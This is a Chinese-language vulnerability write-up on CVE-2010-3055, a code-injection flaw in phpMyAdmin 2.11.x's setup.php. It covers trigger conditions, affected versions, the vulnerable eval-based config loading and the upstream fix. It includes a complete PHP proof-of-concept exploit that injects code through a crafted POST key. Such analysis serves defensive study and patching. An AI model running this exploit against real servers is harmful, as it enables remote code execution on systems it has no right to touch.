phpMyadmin /scripts/setup.php Execute Arbitrary PHP Code Via A Crafted POST Request CVE-2010-3055

Andrew.Hann發表於2015-01-20

目錄

1. 漏洞描述
2. 漏洞觸發條件
3. 漏洞影響範圍
4. 漏洞程式碼分析
5. 防禦方法
6. 攻防思考

 

1. 漏洞描述

The configuration setup script (aka scripts/setup.php) in phpMyAdmin 2.11.x before 2.11.10.1 does not properly restrict key names in its output file, which allows remote attackers to execute arbitrary PHP code via a crafted POST request.

簡單地概括這個漏洞如下

1. \scripts\setup.php檔案會接收使用者的POST資料進行配置檔案的鍵值(key-value)賦值,並將結果寫入/config/config.inc.php檔案
2. 程式碼對使用者的輸入沒有進行有效的過濾,導致黑客可以採用"注入拼接技術",在原本的key-value賦值的"中間",拼接一段任意程式碼執行
3. \scripts\setup.php檔案在點選load(也就是使用者點選檢視配置檔案)的時候,採用eval(..的方式進行"變數本地註冊",即重新執行一次變數賦值
4. 在eval的過程中,之前黑客注入的任何程式碼,被eval執行了,導致了最終的程式碼執行

Relevant Link:

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-3055
http://threats.io/cve/CVE-2010-3055/


2. 漏洞觸發條件

1. phpmyadmin下的config資料夾存在
這點和CVE-2009-1151是一樣的,setup.php本身不能建立新的目錄

2. config資料夾、config.inc.php檔案可寫

3. 程式碼本身存在輸入過濾漏洞

0x1: 測試POC

POC的發起需要附帶對應的token,在手工測試的時候需要注意這點

<?php
// this is an exploit code for phpMyAdmin 2.11.10

$target_url = "http://host/path/phpmyadmin/script/setup.php";

$token = null;

// request 1:獲取token
$res = get_response();

// request 2 (add server)
$res = get_response('POST', "token=$token&action=addserver");

// request 3 (save to session)
$res = get_response('POST', "token=$token&action=addserver_real&host=localhost&connect_type=tcp&extension=mysql&auth_type=config&user=root&password=1&submit_save=Add&AllowDeny_order=1&AllowDeny[a][b]['.phpinfo().']=1");

// request 4 (save to file)
$res = get_response('POST', "token=$token&action=save");

// request 5 (load file)
$res = get_response('POST', "token=$token&action=load");
var_dump($res);


function get_response($method='GET', $body=null) {
    global $target_url, $token;
    static $ch = null;

    if ($ch === null) $ch = curl_init();

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_URL, $target_url);

    if ($method == 'POST') {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
    }

    curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookie.txt');
    curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookie.txt');

    $res = curl_exec($ch);
    $token = get_token($res);

    return $res;
}

function get_token($s) {
    if (preg_match('#name="token" value="(.*?)"#', $s, $m)) {
        return $m[1];
    }
}

Relevant Link:

http://forum.antichat.ru/printthread.php?t=239845


3. 漏洞影響範圍

phpMyAdmin phpMyAdmin 2.11.10 
phpMyAdmin phpMyAdmin 2.11.9 4
phpMyAdmin phpMyAdmin 2.11.9 .6
phpMyAdmin phpMyAdmin 2.11.9 .2
phpMyAdmin phpMyAdmin 2.11.9 .1
phpMyAdmin phpMyAdmin 2.11.9 
phpMyAdmin phpMyAdmin 2.11.8 
phpMyAdmin phpMyAdmin 2.11.7 
phpMyAdmin phpMyAdmin 2.11.5 
phpMyAdmin phpMyAdmin 2.11.4 
phpMyAdmin phpMyAdmin 2.11.1 
phpMyAdmin phpMyAdmin 2.11.9.5.
phpMyAdmin phpMyAdmin 2.11.9.5
phpMyAdmin phpMyAdmin 2.11.9.3
phpMyAdmin phpMyAdmin 2.11.8.1
phpMyAdmin phpMyAdmin 2.11.5.2
phpMyAdmin phpMyAdmin 2.11.5.1
phpMyAdmin phpMyAdmin 2.11.2.2
phpMyAdmin phpMyAdmin 2.11.2.1
phpMyAdmin phpMyAdmin 2.11.10-dev
phpMyAdmin phpMyAdmin 2.11.1.2
phpMyAdmin phpMyAdmin 2.11.1.1
MandrakeSoft Corporate Server 4.0 x86_64
MandrakeSoft Corporate Server 4.0
Gentoo Linux 
Debian Linux 5.0 sparc
Debian Linux 5.0 s/390
Debian Linux 5.0 powerpc
Debian Linux 5.0 mipsel
Debian Linux 5.0 mips
Debian Linux 5.0 m68k
Debian Linux 5.0 ia-64
Debian Linux 5.0 ia-32
Debian Linux 5.0 hppa
Debian Linux 5.0 armel
Debian Linux 5.0 arm
Debian Linux 5.0 amd64
Debian Linux 5.0 alpha
Debian Linux 5.0

Relevant Link:

http://www.securityfocus.com/bid/42591


4. 漏洞程式碼分析

這個漏洞的利用需要分幾步,我們分為注入和利用2步來分析程式碼中存在的漏洞

0x1: 注入

function get_cfg_val($name, $val) 
{
    global $crlf;

    $ret = '';
    if (is_array($val)) 
    {
        $ret .= $crlf;
        foreach ($val as $k => $v) 
        {
            if (!isset($type)) 
            {
                if (is_string($k)) 
                {
                    $type = 'string';
                } 
                elseif (is_int($k)) 
                {
                    $type = 'int';
                    $ret .= $name . ' = array(' . $crlf;
                } 
                else 
                {
                    // Something unknown...
                    $ret .= $name. ' = ' . PMA_var_export($val) . ';' . $crlf;
                    break;
                }
            }
            if ($type == 'string') 
            { //如果沒有對使用者的輸入進行轉義、過濾、規範化,則會存在拼接型注入的風險
                $ret .= get_cfg_val($name . "['$k']", $v);
            } 
            elseif ($type == 'int') 
            {
                $ret .= '    ' . PMA_var_export($v) . ',' . $crlf;
            }
        }
        if (!isset($type)) 
        {
            /* Empty array */
            $ret .= $name . ' = array();' . $crlf;
        } 
        elseif ($type == 'int') 
        {
            $ret .= ');' . $crlf;
        }
        $ret .= $crlf;
        unset($type);
    } 
    else 
    {
        $ret .= $name . ' = ' . PMA_var_export($val) . ';' . $crlf;
    }
    return $ret;
}

0x2: 利用

...
case 'load':
        if ($fail_dir) {
            message('error', 'Reading of configuration disabled because of permissions.');
            break;
        }
        //載入配置檔案
        $new_cfg = load_config('./config/config.inc.php');
        if (!($new_cfg === FALSE)) {
            $_SESSION['configuration'] = $new_cfg;
        }
        $show_info = TRUE;
        break;
...

load_config()

function load_config($config_file) 
{
    if (file_exists($config_file)) 
    {
        $success_apply_user_config = FALSE;
        $old_error_reporting = error_reporting(0);
        //直接使用eval對配置檔案中的key-value進行"變數本地註冊",黑客可以採用拼接的方式,在eval即將執行的字串中拼接入任意程式碼,從而導致遠端程式碼執行
        if (function_exists('file_get_contents')) 
        {
            $success_apply_user_config = eval('?>' . trim(file_get_contents($config_file)));
        } 
        else
        {
            $success_apply_user_config = eval('?>' . trim(implode("\n", file($config_file))));
        }
        error_reporting($old_error_reporting);
        unset($old_error_reporting);
        if ($success_apply_user_config === FALSE) 
        {
            message('error', 'Error while parsing configuration file!');
        } 
        elseif (!isset($cfg) || count($cfg) == 0) 
        {
            message('error', 'Config file seems to contain no configuration!');
        } 
        else 
        {
            // This must be set
            if (!isset($cfg['Servers'])) 
            {
                $cfg['Servers'] = array();
            }
            message('notice', 'Configuration loaded');
            compress_servers($cfg);
            return $cfg;
        }
    } 
    else 
    {
        message('error', 'Configuration file not found!');
    }
    return FALSE;
}

Relevant Link:

http://sourceforge.net/p/phpmyadmin/bugs/3081/

 
5. 防禦方法

function get_cfg_val($name, $val) 
{
    global $crlf;

    $ret = '';
    if (is_array($val)) 
    {
        $ret .= $crlf;
        foreach ($val as $k => $v) 
        {
            if (!isset($type)) 
            {
                if (is_string($k)) 
                {
                    $type = 'string';
                } 
                elseif (is_int($k)) 
                {
                    $type = 'int';
                    $ret .= $name . ' = array(' . $crlf;
                } 
                else 
                {
                    // Something unknown...
                    $ret .= $name. ' = ' . PMA_var_export($val) . ';' . $crlf;
                    break;
                }
            }
            if ($type == 'string') 
            {
                //防禦程式碼
                $k = preg_replace('/[^A-Za-z0-9_]/', '_', $k);
                //如果沒有對使用者的輸入進行轉義、過濾、規範化,則會存在拼接型注入的風險
                $ret .= get_cfg_val($name . "['$k']", $v);
            } 
            elseif ($type == 'int') 
            {
                $ret .= '    ' . PMA_var_export($v) . ',' . $crlf;
            }
        }
        if (!isset($type)) 
        {
            /* Empty array */
            $ret .= $name . ' = array();' . $crlf;
        } 
        elseif ($type == 'int') 
        {
            $ret .= ');' . $crlf;
        }
        $ret .= $crlf;
        unset($type);
    } 
    else 
    {
        $ret .= $name . ' = ' . PMA_var_export($val) . ';' . $crlf;
    }
    return $ret;
}
 

在輸入的檢測中,使用正則進行了"規範化",將輸入的key限定在數字和字母的範圍之中,有效地防禦了這個程式碼執行漏洞

Relevant Link:

https://github.com/phpmyadmin/phpmyadmin/commit/30c83acddb58d3bbf940b5f9ec28abf5b235f4d2


6. 攻防思考

暫無

Copyright (c) 2014 LittleHann All rights reserved

 

相關文章